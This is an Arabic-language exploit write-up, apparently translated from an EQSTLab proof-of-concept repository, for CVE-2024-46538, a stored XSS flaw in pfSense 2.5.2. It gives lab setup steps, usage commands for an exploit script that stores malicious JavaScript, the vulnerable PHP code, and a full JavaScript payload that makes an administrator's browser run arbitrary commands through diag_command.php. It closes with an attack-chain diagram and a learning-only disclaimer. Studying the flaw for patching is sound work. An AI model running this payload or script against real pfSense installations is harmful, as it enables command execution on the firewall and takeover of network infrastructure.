
استغلال ثغرة XSS المخزنة في PfSense تؤدي إلى تنفيذ كود تعسفي
هذا المنشور مقال بحثي نشره EQSTLab.
شكرًا لـ physicszq الذي اكتشف هذه الثغرة.
★ CVE-2024-46538 PfSense XSS المخزنة تؤدي إلى تنفيذ كود عشوائي PoC ★
https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae
CVE-2024-46538 : ثغرة XSS المخزنة في PfSense
الوصف: ثغرة برمجة نصية عبر المواقع (XSS) في pfsense v2.5.2 تسمح للمهاجمين بتنفيذ نصوص ويب أو HTML عشوائية عبر حمولة مصمّمة تُحقن في متغير $pconfig في interfaces_groups_edit.php.
قم بتنزيل الإصدار القابل للاستغلال (v2.5.2):
تعمل على Oracle Virtual Box
1. إنشاء آلة افتراضية

2. إعداد المحول 1 و2 كما يلي:

3. إعداد ترتيب الإقلاع كما يلي:

4. اتباع التعليمات كما يلي:

git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538
pip install -r requirements.txt
# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
CVE-2024-46538.py

/src/usr/local/www/interfaces_groups_edit.php
if (isset($_POST['members'])) {
$members = implode(" ", $_POST['members']);
} else {
$members = "";
}
...
// Create new group
} else {
$ifgroupentry['ifname'] = $_POST['ifname'];
$a_ifgroups[] = $ifgroupentry;
}
write_config("Interface Group added");
interface_group_setup($ifgroupentry);
header("Location: interfaces_groups.php");
exit;
} else {
$pconfig['descr'] = $_POST['descr'];
$pconfig['members'] = $members;
}
}
عدم وجود تصفية في متغير $pconfig في interfaces_groups_edit.php يؤدي إلى ثغرة برمجة نصية عبر المواقع (XSS). تسمح ثغرة البرمجة النصية عبر المواقع (XSS) للمهاجمين باستغلال نقطة النهاية diag_command.php لتنفيذ أوامر عشوائية ضد المسؤول. على سبيل المثال، يمكن أن تؤدي JavaScript التالية إلى تنفيذ كود عشوائي.
mal.js
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})
المستخدم (لديه صلاحية: WebCfg - Interfaces: Groups: Edit) --(تخزين كود JavaScript خبيث)--> المسؤول (لديه صلاحية تنفيذ الأكواد) --(قراءة interfaces_groups.php)--> تنفيذ كود JavaScript --> تنفيذ الأكواد
هذا المستودع ليس المقصود منه أن يكون استغلالًا لثغرة XSS الخاصة بـ CVE-2024-46538. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md